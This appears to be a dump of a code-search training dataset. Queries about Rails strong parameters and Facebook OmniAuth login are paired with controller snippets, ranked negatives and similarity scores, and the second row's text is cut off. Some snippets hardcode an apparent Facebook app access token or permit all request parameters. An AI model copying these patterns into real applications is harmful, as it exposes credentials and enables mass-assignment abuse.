query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
Never trust parameters from the scary internet, only allow the white list through.
|
def organization_params
params.require(:organization).permit(:company_name,:company_code,:copy_right,:session_time_out,:facebook_url,:google_analyitcs,:twitter_url,:google_url,:central_time,:opening_hour, :opening_day, :closing_hour, :closing_day, :youtube, :linked_in, :pinterest, org_addresses_attributes: [:id, :company_name, :country,:company_address,:city, :state, :postal_code,:phone_no, :_destroy])
#params[:organization].permit[:all]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def url_whitelist; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def backend_user_params\n params.permit!\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.6981269",
"0.6783559",
"0.6746007",
"0.67423046",
"0.6735905",
"0.6593568",
"0.6504213",
"0.649792",
"0.6482664",
"0.6478558",
"0.64566684",
"0.64392304",
"0.6380194",
"0.6376366",
"0.636562",
"0.63208145",
"0.63006365",
"0.63001287",
"0.6292953",
"0.62927175",
"0.62911004",
"0.6290563",
"0.6284484",
"0.62436926",
"0.6239928",
"0.62184125",
"0.62158304",
"0.6210187",
"0.6194002",
"0.61786795",
"0.61759156",
"0.617342",
"0.6162248",
"0.61528504",
"0.61527",
"0.6146735",
"0.6122714",
"0.61169004",
"0.61082125",
"0.61052656",
"0.6091036",
"0.60807735",
"0.6070328",
"0.60634184",
"0.60213035",
"0.6017676",
"0.6013606",
"0.601112",
"0.6007318",
"0.6007318",
"0.6001461",
"0.6001135",
"0.59966296",
"0.5992013",
"0.59919006",
"0.599182",
"0.5980991",
"0.59676576",
"0.5960269",
"0.59588194",
"0.59585214",
"0.59578323",
"0.5953503",
"0.5952524",
"0.59432703",
"0.5939858",
"0.59388995",
"0.59388995",
"0.5933866",
"0.5930038",
"0.5925672",
"0.5924214",
"0.59169805",
"0.59106255",
"0.5910254",
"0.59086037",
"0.5906149",
"0.5898294",
"0.58981514",
"0.5896171",
"0.58944154",
"0.58943397",
"0.5892325",
"0.5887239",
"0.58842856",
"0.5880209",
"0.5874584",
"0.58694917",
"0.5868719",
"0.58669394",
"0.5866552",
"0.58662945",
"0.5864085",
"0.58623236",
"0.5862258",
"0.58597904",
"0.58579135",
"0.58542645",
"0.5853335",
"0.58517563",
"0.5850614"
] |
0.0
|
-1
|
def create if signed_in_with_facebook? banker = Banker.from_omniauth(env["omniauth.auth"]) session[:user_id]= banker.id redirect_to banker_path(banker) else banker = Banker.find_by_banker_email(params[:banker_email]) if banker && banker.authenticate(params[:password]) session[:user_id] = banker.id flash[:notice] = "You are now signed in." redirect_to banker_path(banker) else flash[:error] = "Oops! Something went wrong. Please try again." render :new end end banker = Banker.from_omniauth(env["omniauth.auth"]) session[:user_id]= banker.id redirect_to banker_path(banker) end
|
def destroy
session[:user_id] = nil
flash[:notice] = "You have been signed out."
redirect_to root_path
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def createF\r\n user = User.omniauth(env['omniauth.auth'])\r\n session[:user_id] = user.id\r\n Action.create(info: current_user.username + ' has logged in using facebook.', user_email: current_user.email)\r\n redirect_to user\r\n end",
"def create\n #Create user instance\n @user = User.new(params[:user])\n @user.fb_uid = facebook_user.uid if facebook_user \n if @user.save\n \n #flash[:notice] = sprintf(t(:user_created_confirmation_sent), @user.name,@user.email) unless facebook_user\n flash_notice(:user_created_confirmation_sent, @user.full_name,@user.email) unless facebook_user\n \n create_session(@user) if facebook_user\n redirect_to_last_page\n else\n render :action => \"new\"\n end\n end",
"def facebook_create\n @new_user = User.find_or_create_by(uid: auth['uid']) do |u|\n u.name = auth['info']['name']\n u.email = auth['info']['email']\n u.image = auth['info']['image']\n u.password = User.generic_password\n end\n @new_user.save\n session[:user_id] = @new_user.id \n redirect_to home_path(@new_user)\n end",
"def create\n auth = request.env[\"omniauth.auth\"]\n user = User.find_by_provider_and_uid(auth[\"provider\"], auth[\"uid\"]) || User.create_with_omniauth(auth)\n User.update(user.id, :fb_nickname => auth[\"info\"][\"nickname\"])\n session[:user_id] = user.id\n redirect_to root_url\n end",
"def create\n @omniauth = request.env[\"omniauth.auth\"]\n \n authentication = Authentications.find_by_provider_and_uid(@omniauth['provider'], @omniauth['uid'])\n\n if(@@logingIn ==0) \n registering(authentication)\n elsif(@@logingIn ==1)\n signingIn(authentication)\n end\n\nend",
"def facebook_callback\n user_data = parse_facebook_user_data\n token = sign_user_token(user_data[\"email\"],\"facebook\")\n\n user = User.find_by_token(token)\n if user\n set_current_user(user)\n else\n user = User.new(:email => user_data[\"email\"],\n :nick => user_data[\"first_name\"],\n :token => token)\n user.save!\n\n set_current_user(user)\n end\n redirect_to :controller => \"sales_management\",\n :action => \"index\",\n :user_id => user.id\n end",
"def create\n\t\tauth = request.env[\"omniauth.auth\"] #when press the link fb_login, response that is received from callback is stored in auth var\n\t\tsession[:omniauth] = auth.except('extra') #session var with info from response, except extra- info that we dont need\n\t\tcurrent_user = User.sign_in_from_omniauth(auth)\n\t\tsession[:user_id] = current_user.id\n\t\tredirect_to root_url, flash: { notice: \"#{current_user.name}, welcome to Like Machine.\"}\n\tend",
"def create\n client = Facebook.auth(callback_facebook_url).client\n client.authorization_code = params[:code]\n access_token = client.access_token!\n user = FbGraph::User.me(access_token).fetch\n authenticate Facebook.identify(user)\n# redirect_to dashboard_url\n redirect_to root_url\n end",
"def facebook\n @user = User.find_or_create_for_facebook(request.env[\"omniauth.auth\"], current_user)\n flash[:alert] = \"Signed in with Facebook successfully.\"\n # use devise-provided method to redirect the user\n if @user.sign_in_count == 0\n sign_in @user, :event => :authentication\n redirect_to users_get_path\n else\n sign_in_and_redirect @user, :event => :authentication\n end\n end",
"def facebook\n user = User.from_facebook_omniauth(request.env[\"omniauth.auth\"])\n if user.persisted?\n sign_in_and_redirect user, notice: \"#{user.name}, you are signed in!\"\n else\n session[\"devise.user_attributes\"] = user.attributes\n redirect_to new_user_registration_url\n end\n end",
"def create\n user = User.from_omniauth(env[\"omniauth.auth\"])\n session[:user_id] = user.id\n redirect_to '/mindapp/pending'\n rescue\n redirect_to root_path, :alert=> \"Authentication failed, please try again.\"\n end",
"def create\n user = User.from_omniauth(env[\"omniauth.auth\"])\n session[:user_id] = user.id\n \n redirect_to root_path\n end",
"def create_fb\n if current_facebook_user\n current_facebook_user.fetch\n if logged_in_member\n logged_in_member.update_attribute(:fb_user_id, current_facebook_user.id)\n redirect_to logged_in_member\n else\n @member = Member.find_or_initialize_with_facebook(current_facebook_user)\n conference_delegate = ConferenceDelegate.find_by_signature(params[:signature]) if !params[:signature].blank?\n if @member.new_record?\n @member.conference_delegate = conference_delegate\n @member.auth_service = 'Facebook'\n render :template => \"sessions/register_email\"\n else\n if conference_delegate && conference_delegate.member.nil? && @member.conference_delegate.nil?\n conference_delegate.update_attribute(:member, @member)\n end\n login_member!(@member)\n end\n end\n else\n redirect_to new_session_path\n end\n end",
"def create\n auth = request.env[\"omniauth.auth\"]\n user = User.from_omniauth(auth)\n session[:user_id] = user.id\n if params.permit[:remember_me]\n cookies.permanent[:auth_token] = user.auth_token\n else\n cookies[:auth_token] = user.auth_token\n end\n # refresh_to root_path, :ma_notice => \"Logged in\" # Called by jinda_conroller\n redirect_to root_path\n\t\t# redirect_to articles_my_path\n\n rescue\n redirect_to root_path, :alert=> \"Authentication failed, please try again.\"\n end",
"def create\n auth_hash = request.env['omniauth.auth']\n\n merchant = Merchant.find_by(uid: auth_hash[\"uid\"], provider: auth_hash[\"provider\"])\n\n if merchant.nil?\n merchant = Merchant.create_from_github(auth_hash)\n if merchant.nil?\n flash[:error] = \"Could not log in.\"\n else\n session[:merchant_id] = merchant.id\n flash[:success] = \"Logged in successfully!\"\n end\n else\n session[:merchant_id] = merchant.id\n flash[:success] = \"Logged in successfully!\"\n end\n redirect_to root_path\n end",
"def create\n @facebook_url = FacebookUrl\n p 'fb url'\n puts @facebook_url\n token_info = FacebookAuth.get_user_info_from_cookies(cookies)\n puts \"cookies: #{cookies.inspect}\"\n if (token_info)\n p 'cookie token'\n @user = User.add_facebook(token_info)\n redirect_to :action => 'show', :id => @user.id\n elsif (params[:code]) \n p 'params[:code]'\n token_info = FacebookAuth.get_access_token_info(params[:code])\n @user = User.add_facebook(token_info)\n redirect_to :action => 'show', :id => @user.id\n else\n p 'redirecting to fb'\n render :layout => false, :inline => \"<html><head>\\n<script type=\\\"text/javascript\\\">\\nwindow.top.location.href = '<%=raw(@facebook_url) %>';\\n</script>\\n\"\n #https://graph.facebook.com/oauth/authorize?client_id=163086873741036&redirect_uri=http://apps.facebook.com/friends_mapper/&scope=user_location,friends_location,publish_stream\n end\n \n end",
"def facebook\n @user = User.find_for_facebook_oauth(request.env[\"omniauth.auth\"], current_user)\n\n if @user.persisted?\n @user\n sign_in_and_redirect @user, :event => :authentication #this will throw if @user is not activated\n set_flash_message(:notice, :success, :kind => \"Facebook\") if is_navigational_format?\n else\n request.env[\"omniauth.auth\"]\n session[\"devise.facebook_data\"] = request.env[\"omniauth.auth\"]\n redirect_to new_user_registration_url\n end\n end",
"def create\n @user = User.find_or_create_with_omniauth auth_hash\n session[:user_id] = @user.id\n redirect_to auth_path\n end",
"def create\n @user = User.where_omniauth(auth_hash)\n sign_in @user\n redirect_to root_url, alert: \"You have been signed in successfully.\"\n end",
"def create\n \n \n user = User.from_omniauth(env[\"omniauth.auth\"])\n session[:user_id] = user.id\n \n redirect_to root_path\n \n #render :text => auth_hash.inspect\n #raise request.env[\"omniauth.auth\"].to_yaml\n \n #Original\n # user=Authorization.find_by_provider_and_uid(auth[\"provider\"],auth[\"uid\"]) || Authorization.create_with_omniauth(auth)\n # #session[:user_id] = user.id\n #redirect_to root_path\n \n end",
"def create\n client = Facebook.auth(callback_facebook_url).client\n client.authorization_code = params[:code]\n access_token = client.access_token! :client_auth_body\n user = FbGraph::User.me(access_token).fetch\n authenticate Facebook.identify(user)\n redirect_to dashboard_url\n end",
"def create \n # render :text => request.env[\"omniauth.auth\"].to_yaml\n omniauth = request.env[\"omniauth.auth\"]\n authentication = Authentication.find_by_provider_and_uid(omniauth['provider'], omniauth['uid'])\n if authentication\n flash[:notice] = \"Signed in successfully.\"\n sign_in_and_redirect(:user, authentication.user)\n elsif current_user # if user logged in but doesn't have this auth in DB\n current_user.authentications.create!(:provider => omniauth['provider'], :uid => omniauth['uid'])\n flash[:notice] = \"Authentication successful.\"\n redirect_to authentications_url\n else # if user doesn't exist\n user = User.new\n user.apply_omniauth(omniauth)\n if user.save #if validation passes\n flash[:notice] = \"Signed in successfully.\"\n sign_in_and_redirect(:user, user)\n else #if validation doesn't pass\n session[:omniauth] = omniauth.except('extra')\n redirect_to new_user_registration_url\n end\n end \n end",
"def create\n user = User.find_by_email(params[:session][:email].downcase)\n if user && user.authenticate(params[:session][:password]) && user.confirmed_user?\n if user.banned?\n sign_out_user\n flash[:error] = \"This account has been suspended for violating terms of conditions.\"\n redirect_to root_url\n else\n sign_in_user(user, params[:remember_me])\n redirect_back_or user\n end\n elsif user && user.authenticate(params[:session][:password])\n flash.now[:error] = 'Your account has not been activated yet, please check your email.'\n render 'new'\n else\n flash.now[:error] = 'Invalid email/password combination'\n render 'new'\n end\n end",
"def facebook_callback\n hash = request.env[\"omniauth.auth\"]\n if hash\n email = hash[\"info\"][\"email\"]\n username = hash[\"info\"][\"nickname\"]\n gender = hash[\"extra\"][\"raw_info\"][\"gender\"]\n provider = hash[\"provider\"]\n gid = hash[\"uid\"]\n token = hash[\"credentials\"][\"token\"]\n auth = Authentication.find_by_provider_and_gid(provider, gid)\n if !gamer_signed_in?\n if auth\n if auth.gamer\n flash[:success] = t(:signed_in_fb)\n sign_in_and_redirect(:gamer, auth.gamer)\n else\n flash[:error] = t(:no_account)\n redirect_to \"/gamers/sign_up\"\n end\n else\n gamer = Gamer.find_by_email(email)\n if gamer\n Authentication.create_with_omniauth(provider, gid,\n token, nil, email, gamer.id)\n flash[:success] = t(:signed_in_fb)\n sign_in_and_redirect(:gamer, gamer)\n else\n session[\"devise.token\"] = token\n session[\"devise.gid\"] = gid\n session[\"devise.token_secret\"] = nil\n flash[:info] = t(:continue_reg_fb)\n redirect_to controller: \"social_registrations\",\n action: \"new_social\", email: email, username: username,\n gender: gender, provider: provider\n end\n end\n else\n if !auth\n Authentication.create_with_omniauth(provider,gid,\n token, nil, email, current_gamer.id)\n flash[:success] = t(:logged_in_to_fb)\n redirect_to \"/gamers/edit\"\n else\n Authentication.update_token(current_gamer.id, provider, token)\n redirect_to \"/games/post_facebook\"\n end\n end\n else\n flash[:error] = t(:oops_error_fb)\n redirect_to root_url\n end\n end",
"def create\n\n params[:user].reject! {|k,v| !['name','email','password','facebook_uid'].include?k }\n @user = User.new(params[:user])\n if @user.facebook_uid and current_facebook_user and current_facebook_client\n if current_facebook_user.id == @user.facebook_uid\n @user.facebook_session_key = current_facebook_client.access_token\n @user.password = \"fb-#{@user.facebook_uid}-\"+Time.now().to_s if @user.password.empty?\n end\n else\n if @user.password != params[:password_verify] then\n @user.errors.add(:password, \"Password fields don't match\")\n respond_to do |format|\n format.html { render :action => \"new\" }\n format.json { render json: @user }\n end\n return\n end\n end\n \n respond_to do |format|\n if @user.save\n UserSession.create(@user, true)\n format.html { redirect_to(@user, :notice => 'User was successfully created.') }\n format.json { render json: @user }\n else\n format.html { render :action => \"new\" }\n format.json { render json: @user }\n end\n end\n end",
"def create\n omniauth = request.env['omniauth.auth']\n # Check whether the Identity exists\n identity = Identity.from_omniauth(omniauth)\n if identity # If it does, sign the user in\n flash[:notice] = 'Welcome back!'\n sign_in_and_redirect(:user, identity.user)\n else\n handle_new_identity(omniauth)\n end\n end",
"def create\n email = params[:email]\n password = params[:password]\n fb_token = params[:fbtoken]\n if request.format != :json\n render :status => 406, :json => {:message => 'The request must be json'}\n return\n end\n\n if (email.nil? or password.nil?) && fb_token.nil?\n render :status => 400,\n :json => {:message => 'The request must contain the user email and password or FB token.'}\n return\n end\n\n if fb_token\n #check token\n begin\n facebook_graph = ::Koala::Facebook::API.new('595428443887130|BMCDixQJlECImLZsnnxGBO2jtoI')\n @token_info = facebook_graph.debug_token(fb_token)\n logger.info @token_info.inspect\n @user = User.find_by(fb_id: @token_info['data']['user_id'])\n rescue => e\n logger.error e.message\n @user = nil\n end\n else\n @user = User.find_by(email: email.downcase)\n end\n\n if @user.nil?\n logger.info(\"User #{email || fb_token} failed signin, user cannot be found.\")\n render :status => 401, :json => {:message => 'Invalid email or password or FB token.'}\n return\n end\n\n # http://rdoc.info/github/plataformatec/devise/master/Devise/Models/TokenAuthenticatable\n #@user.generate_authentication_token\n\n valid = (!fb_token && @user.valid_password?(password)) || (fb_token && @token_info['data']['app_id'] == '595428443887130')\n\n if valid\n @user.ensure_authentication_token\n logger.info 'Token: ' + @user.authentication_token.to_s\n @user.save_device_token(params[:device_token])\n render :status => 200, :json => {:token => @user.authentication_token, :email => @user.email, :premium => !@user.role?(:free)}\n else\n logger.info(\"User #{email} failed signin, password \\\"#{password}\\\" is invalid\")\n render :status => 401, :json => {:message => 'Invalid email or password or FB token.'}\n end\n end",
"def create\n user = User.from_omniauth(env[\"omniauth.auth\"])\n session[:user_id] = user.id\n me=User.find(user.id)\n me.loggedin=true\n me.tutoring=false\n me.request=Request.new(class_name:\"3365f80a5cccb3e76443df3b736b26e8\")\n me.save\n render erb: :'sessions#create'\nend",
"def create\n auth = request.env[\"omniauth.auth\"]\n user_info = auth[\"info\"] ? auth[\"info\"] : auth[\"user_info\"]\n authentication = Authorization.where(:provider => auth['provider'], :uid => auth['uid']).first\n authentication = Authorization.new(:provider => auth['provider'], :uid => auth['uid']) if !authentication\n session[:fb_token] = auth['credentials']['token'] if auth['credentials']['token'] != nil\n # if the user exists, but does not have a link with the social service\n if !authentication.user && current_user\n authentication.user = current_user\n authentication.save\n end\n # twitter only (gets no email)\n if !authentication.user && !user_info[\"email\"]\n flash[:notice] = \"No user linked to this account. Please sign in or create a new account\"\n redirect_to '/users/sign_up/'\n # if user doesnt exists, register user\n elsif !authentication.user\n user = User.where(email: user_info['email']).first\n if user\n authentication.user = user\n else\n new_user = User.new(email: user_info['email'], username: user_info['name'], first_name: user_info['first_name'], last_name: user_info['last_name'], role: \"registered\")\n new_user.save\n authentication.user = new_user\n end\n authentication.save\n end\n # if user exists, sign in. Gives a Mongoid glitch of not signing in after registration. So double sign in\n if authentication.user\n if !current_user\n sign_in authentication.user\n sign_out authentication.user\n sign_in authentication.user\n # raise \"user signed in? #{user_signed_in?.to_s}\".inspect\n flash[:notice] = \"Authorization successful.\"\n redirect_to root_path\n else\n flash[:notice] = \"Linked successfully.\"\n redirect_to '/users/'+current_user.id\n end\n end\n end",
"def create\n # debugger\n # respond_to do |format|\n # format.html # new.html.erb\n # format.json { render json: @session }\n # end\n user = User.from_auth(request.env[\"omniauth.auth\"])\n session[:user_id] = user.id\n flash[:notice] = \"Welcome #{user.nickname}\"\n redirect_to posts_path\n end",
"def create\n\n\t\t# grab the authentication return\n\t\tauth = request.env[\"omniauth.auth\"]\n\n\t\t# now create a temporary user with the auth element etc\n\t\tuser = User.omniauth_create auth\n\n\t\t# now set the session_id \n\t\tsession[:id] = user.id\n\n\t\t# redirect back to the root which can successfully switch the pages of the application etc\n\t\tredirect_to root_url, :notice => \"Successful Authentication\"\t\n\tend",
"def create\n\t# user = User.find_by_email(params[:session][:email])\n\t# if user.authenticate(params[:session][:password])\n\t# \tsign_in user\n\t# \tflash[:message] = \"Successfully logged in!\"\n\t# \tredirect_to feed_path(user.id)\n\t# else\n\t# \tflash[:error] = \"Your email or password is invalid\"\n\t# \tredirect_to signin_path\n\t# end\n\tUser.find(auth).nil? ? @user = User.find(auth) : @user = User.create(auth) \n\tsign_in @user\n\tredirect_to \"/\"\n\n end",
